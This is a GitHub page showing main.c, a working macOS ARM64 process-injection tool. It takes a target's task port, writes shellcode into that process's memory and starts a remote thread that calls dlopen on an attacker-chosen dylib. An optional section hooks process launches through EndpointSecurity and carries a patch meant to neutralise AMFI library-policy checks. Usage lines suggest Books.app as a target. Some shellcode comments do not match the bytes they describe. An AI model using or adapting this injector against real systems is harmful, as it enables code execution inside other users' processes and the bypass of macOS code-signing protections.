-
Notifications
You must be signed in to change notification settings - Fork 4
/
main.c
375 lines (320 loc) · 13.2 KB
/
main.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
#import <EndpointSecurity/EndpointSecurity.h>
#import <Security/Security.h>
#include <dlfcn.h>
#if __arm64e__
#include <bsm/libbsm.h>
#include <ptrauth.h>
#endif
extern kern_return_t mach_vm_allocate(task_t task, mach_vm_address_t *addr,
mach_vm_size_t size, int flags);
extern kern_return_t mach_vm_read(vm_map_t target_task,
mach_vm_address_t address,
mach_vm_size_t size, vm_offset_t *data,
mach_msg_type_number_t *dataCnt);
extern kern_return_t mach_vm_write(vm_map_t target_task,
mach_vm_address_t address, vm_offset_t data,
mach_msg_type_number_t dataCnt);
extern kern_return_t mach_vm_protect(vm_map_t target_task,
mach_vm_address_t address,
mach_vm_size_t size, boolean_t set_maximum,
vm_prot_t new_protection);
#define STACK_SIZE 65536
#define CODE_SIZE 400 // the size of the shellcode
#if __arm64e__
char code[] = "\xff\x83\x00\xd1" // sub sp, sp, #2
"\xfd\x7b\x01\xa9" // stp x29, x30, [sp, #16]
"\xfd\x43\x00\x91" // add x29, sp, #16
"\xe0\x03\x00\x91" // mov x0, sp
"\xe0\x03\x00\x91" // mov x0, sp
"\xe1\x03\x1f\xaa" // mov x1, xzr
"\xe3\x03\x1f\xaa" // mov x3, xzr
"\x82\x01\x00\x10" // adr x2, #52
"\xe2\x23\xc1\xda" // paciza x2
"\x09\x01\x00\x10" // adr x9, #32
"\x29\x01\x40\xf9" // dereference the pointer
"\x20\x01\x3f\xd6" // call pthread_create_from_mach_thread
"\x09\x00\x00\x10" // adr x9, #0
"\x20\x01\x1f\xd6" // br x9
"\xfd\x7b\x42\xa9" // ldp x29, x30, [sp, #0x20]
"\xFF\xC3\x00\x91" // add sp, sp, #0x30
"\xC0\x03\x5F\xD6" // ret
"PTHRDCRT"
"\x7f\x23\x03\xd5" // pacibsp
"\xff\xc3\x00\xd1" // sub sp, sp, #0x30
"\xfd\x7b\x02\xa9" // stp x29, x30, [sp, #0x20]
"\xFD\x83\x00\x91" // add x29, sp, #0x20
"\x21\x00\x80\xd2" // mov x1, #1
"\xa0\x01\x00\x10" // adr x0, libliblib
"\x09\x01\x00\x10" // adr x9, dlopen__
"\x29\x01\x40\xf9" // ldr x9, [x9]
"\x20\x01\x3f\xd6" // blr x9
"\x00\x00\x80\xd2" // movz x0, 0
"\xc9\x00\x00\x10" // mov x9, pthr_exit
"\x29\x01\x40\xf9" // ldr x9, [x9]
"\x20\x01\x3f\xd6" // blr x9
"\xff\x0f\x5f\xd6" // retab
"DLOPEN__"
"PTHREXIT"
// placeholder for dylib path to load
"LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB"
"LIBLIBLIBLIBLIB"
"\x00\x00\x00\x00";
#else
char code[] =
"\xff\x83\x00\xd1" // sup sp, sp, #2
"\xfd\x7b\x01\xa9" // stp x29, x30, [sp, #16]
"\xfd\x43\x00\x91" // add x29, sp, #16
"\xe0\x03\x00\x91" // mov x0, sp
"\xe1\x03\x1f\xaa" // mov x1, xzr
"\xa2\x00\x00\x10" // adr x2, _dopen
"\xe3\x03\x1f\xaa" // mov x3, xzr
"\x44\x01\x00\x58" // ldr x4, pthrcrt => LOAD ADDRESS FROM PTHRCRT
"\x80\x00\x3f\xd6" // ldr x4 => BRANCH TO
// pthread_create_from_mach_thread
// _jmp:
"\x00\x00\x00\x14" // b _jmp
// _dopen:
"\xa0\x01\x00\x10" // adr x0, dylib => LOAD ADDRESS OF DYLIB INTO x0
"\x21\x00\x80\xd2" // mov x1, #1 => RTLD_LAZY
"\xe7\x00\x00\x58" // ldr x7, dlopen => LOAD ADDRESS FROM dlopen
"\xe0\x00\x3f\xd6" // ldr x6 => BRANCH TO dlopen
"\xe8\x00\x00\x58" // ldr x8, pthrext => LOAD ADDRESS OF pthread_exit
"\x00\x00\x80\xd2" // movz x0, 0
"\x00\x01\x3f\xd6" // blr x8 => BRANCH TO pthread_exit
"PTHRDCRT" // placeholder for pthread_create_from_mach_thread address
"DLOPEN__" // placeholder for dlopen address
"PTHREXIT" // placeholder for pthread_exit address
"LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB"
"LIBLIBLIBLIBLIB" // placeholder for dylib path to load
"\x00\x00\x00\x00";
#endif
// This code is based on the https://gist.github.com/saagarjha/a70d44951cb72f82efee3317d80ac07f
// which uses EndpointSecurity and works with AMFI turned on
// with library validation disabled
#ifdef AMFI
// patch _amfi_dyld_check_policy_self to return 0x5f
// meaning everything is allowed
char patch[] = "\xe2\x0b\x80\xd2" // mov x2, 0x5f
"\x22\x00\x00\xf9" // str x2, [x1]
"\x00\x00\x80\xd2" // mov x0, #0
"\xc0\x03\x5f\xd6"; // ret
void inc_addr(vm_offset_t *addr) { *addr += (vm_offset_t)sizeof(vm_offset_t); }
uintptr_t rearrange_stack(task_t task, char *lib, uintptr_t sp) {
kern_return_t kr;
vm_offset_t orig_sp = (vm_offset_t)sp;
vm_offset_t load;
vm_offset_t argc;
vm_offset_t argv;
mach_msg_type_number_t count;
if ((kr = mach_vm_read(task, (mach_vm_address_t)orig_sp,
(mach_vm_size_t)sizeof(vm_offset_t), &load, &count)) !=
KERN_SUCCESS) {
fprintf(stderr, "Error reading load address: %s\n", mach_error_string(kr));
exit(1);
}
inc_addr(&orig_sp);
if ((kr = mach_vm_read(task, (mach_vm_address_t)orig_sp,
(mach_vm_size_t)sizeof(vm_offset_t), &argc, &count)) !=
KERN_SUCCESS) {
fprintf(stderr, "Error reading argc address: %s\n", mach_error_string(kr));
exit(1);
}
printf("* argc: %lu\n", *(unsigned long *)argc);
/*inc_addr(&orig_sp);
if ((kr = mach_vm_read(task, (mach_vm_address_t)orig_sp,
(mach_vm_size_t)sizeof(vm_offset_t), &argv, &count)) !=
KERN_SUCCESS) {
fprintf(stderr, "Error reading argc address: %s\n", mach_error_string(kr));
exit(1);
}
printf("* s = %s\n", (char *)argv);*/
return sp;
}
void inject(pid_t pid, char *library) {
task_port_t task;
kern_return_t kr;
if ((kr = task_for_pid(mach_task_self(), pid, &task)) != KERN_SUCCESS) {
fprintf(stderr, "Error obtaining task for pid: %s\n",
mach_error_string(kr));
exit(1);
}
thread_act_array_t threads;
mach_msg_type_number_t count;
if ((kr = task_threads(task, &threads, &count)) != KERN_SUCCESS) {
fprintf(stderr, "Error enumerating threads: %s\n", mach_error_string(kr));
exit(1);
}
if (count != 1) {
fprintf(stderr, "Count of threads is not 1\n");
exit(1);
}
arm_thread_state64_t state;
count = ARM_THREAD_STATE64_COUNT;
thread_state_flavor_t flavor = ARM_THREAD_STATE64;
if ((kr = thread_get_state(*threads, flavor, (thread_state_t)&state,
&count)) != KERN_SUCCESS) {
fprintf(stderr, "Error getting thread state: %s\n", mach_error_string(kr));
exit(1);
}
if ((kr = thread_convert_thread_state(
*threads, THREAD_CONVERT_THREAD_STATE_TO_SELF, flavor,
(thread_state_t)&state, count, (thread_state_t)&state, &count)) !=
KERN_SUCCESS) {
fprintf(stderr, "Error converting thread: %s\n", mach_error_string(kr));
exit(1);
}
uintptr_t sp =
rearrange_stack(task, library, arm_thread_state64_get_sp(state));
arm_thread_state64_set_sp(state, sp);
/*patch_restrictions(task, arm_thread_state64_get_pc(state));
ensure(thread_convert_thread_state(
*threads, THREAD_CONVERT_THREAD_STATE_FROM_SELF, flavor,
reinterpret_cast<thread_state_t>(&state), count,
reinterpret_cast<thread_state_t>(&state), &count) ==
KERN_SUCCESS); ensure(thread_set_state(*threads, flavor,
reinterpret_cast<thread_state_t>(&state),
count) == KERN_SUCCESS);*/
}
#endif
int main(int argc, char **argv) {
if (argc != 3) {
#ifdef AMFI
fprintf(stderr, "usage: ./binary /path/to/binary /path/to/dylib\n");
fprintf(stderr, "example: ./binary "
"/System/Applications/Books.app/Contents/MacOS/Books "
"/tmp/xzy.dylib\n");
exit(1);
#else
fprintf(stderr, "usage: ./binary PID /path/to/dylib\n");
fprintf(stderr, "example: ./binary 1234 /tmp/xyz.dylib\n");
exit(1);
#endif
}
char *lib = argv[2];
#ifdef AMFI
char *process = argv[1];
es_client_t *client = NULL;
es_new_client(&client, ^(es_client_t *client, const es_message_t *message) {
switch (message->event_type) {
case ES_EVENT_TYPE_AUTH_EXEC: {
const char *name = message->event.exec.target->executable->path.data;
// check if we have the right process
if (strcmp(name, process) == 0) {
pid_t pid = audit_token_to_pid(message->process->audit_token);
printf("* process %s (%d) spawned\n", name, pid);
printf("* injecting into %s\n", name);
inject(pid, lib);
}
}
es_respond_auth_result(client, message, ES_AUTH_RESULT_ALLOW, false);
break;
default:
false && "Unexpected event type";
}
});
es_event_type_t events[] = {ES_EVENT_TYPE_AUTH_EXEC};
es_subscribe(client, events, sizeof(events) / sizeof(*events));
dispatch_main();
#endif
pid_t pid;
pid = atoi(argv[1]);
task_t remoteTask;
kern_return_t kr;
kr = task_for_pid(mach_task_self(), pid, &remoteTask);
if (kr != KERN_SUCCESS) {
fprintf(stderr, "failed to get task port for pid=%d, error=%s\n", pid,
mach_error_string(kr));
exit(1);
}
printf("* got task=%d for pid=%d\n", remoteTask, pid);
mach_vm_address_t remoteStack = (vm_address_t)NULL;
mach_vm_address_t remoteCode = (vm_address_t)NULL;
kr =
mach_vm_allocate(remoteTask, &remoteStack, STACK_SIZE, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS) {
fprintf(stderr, "failed to allocate stack memory=%s\n",
mach_error_string(kr));
exit(1);
} else {
printf("* allocated stack at 0x%llx\n", remoteStack);
}
kr = mach_vm_allocate(remoteTask, &remoteCode, CODE_SIZE, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS) {
fprintf(stderr, "failed to allocate stack memory=%s\n",
mach_error_string(kr));
exit(1);
} else {
printf("* allocated code at 0x%llx\n", remoteCode);
}
uint64_t addr_of_dlopen = (uint64_t)dlopen;
uint64_t addr_of_pthread =
(uint64_t)dlsym(RTLD_DEFAULT, "pthread_create_from_mach_thread");
uint64_t addr_of_pexit = (uint64_t)dlsym(RTLD_DEFAULT, "pthread_exit");
#if __arm64e__
addr_of_dlopen = (uint64_t)ptrauth_strip((void *)addr_of_dlopen,
ptrauth_key_function_pointer);
addr_of_pthread = (uint64_t)ptrauth_strip((void *)addr_of_pthread,
ptrauth_key_function_pointer);
addr_of_pexit = (uint64_t)ptrauth_strip((void *)addr_of_pexit,
ptrauth_key_function_pointer);
#endif
char *possible_patch_location = (code);
for (int i = 0; i < 0x100; i++) {
possible_patch_location++;
if (memcmp(possible_patch_location, "PTHRDCRT", 8) == 0) {
memcpy(possible_patch_location, &addr_of_pthread, sizeof(uint64_t));
printf("* found pthread_create_from_mach_thread at 0x%llx\n",
addr_of_pthread);
}
if (memcmp(possible_patch_location, "PTHREXIT", 8) == 0) {
memcpy(possible_patch_location, &addr_of_pexit, sizeof(uint64_t));
printf("* found pthread_exit at 0x%llx\n", addr_of_pexit);
}
if (memcmp(possible_patch_location, "DLOPEN__", 6) == 0) {
memcpy(possible_patch_location, &addr_of_dlopen, sizeof(uint64_t));
printf("* found dlopen at 0x%llx\n", addr_of_dlopen);
}
if (memcmp(possible_patch_location, "LIBLIBLIB", 9) == 0) {
strcpy(possible_patch_location, lib);
}
}
printf("* finished patching\n");
kr = mach_vm_write(remoteTask, remoteCode, (vm_address_t)code, CODE_SIZE);
if (kr != KERN_SUCCESS) {
fprintf(stderr, "failed to write code at 0x%llx; error=%s\n", remoteCode,
mach_error_string(kr));
exit(1);
} else {
printf("* written code at 0x%llx\n", remoteCode);
}
printf("* spawning thread\n");
kr = vm_protect(remoteTask, remoteCode, CODE_SIZE, FALSE,
VM_PROT_READ | VM_PROT_EXECUTE);
remoteStack += (STACK_SIZE / 2);
task_flavor_t flavor = ARM_THREAD_STATE64;
mach_msg_type_number_t count = ARM_THREAD_STATE64_COUNT;
arm_thread_state64_t state;
#if __arm64e__
state.__opaque_pc = ptrauth_sign_unauthenticated(
(void *)remoteCode, ptrauth_key_process_independent_data,
ptrauth_string_discriminator("pc"));
state.__opaque_sp = ptrauth_sign_unauthenticated(
(void *)remoteStack, ptrauth_key_process_independent_data,
ptrauth_string_discriminator("sp"));
state.__opaque_lr = ptrauth_sign_unauthenticated(
(void *)remoteStack, ptrauth_key_process_independent_data,
ptrauth_string_discriminator("lr"));
#else
state.__pc = (uintptr_t)remoteCode;
state.__sp = (uintptr_t)remoteStack;
#endif
thread_act_t thread;
kr = thread_create_running(remoteTask, flavor, (thread_state_t)&state, count,
&thread);
if (kr != KERN_SUCCESS) {
fprintf(stderr, "error spawning thread; error=%s\n", mach_error_string(kr));
exit(1);
} else {
printf("* finished injecting into pid=%d with dylib=%s\n", pid, lib);
}
}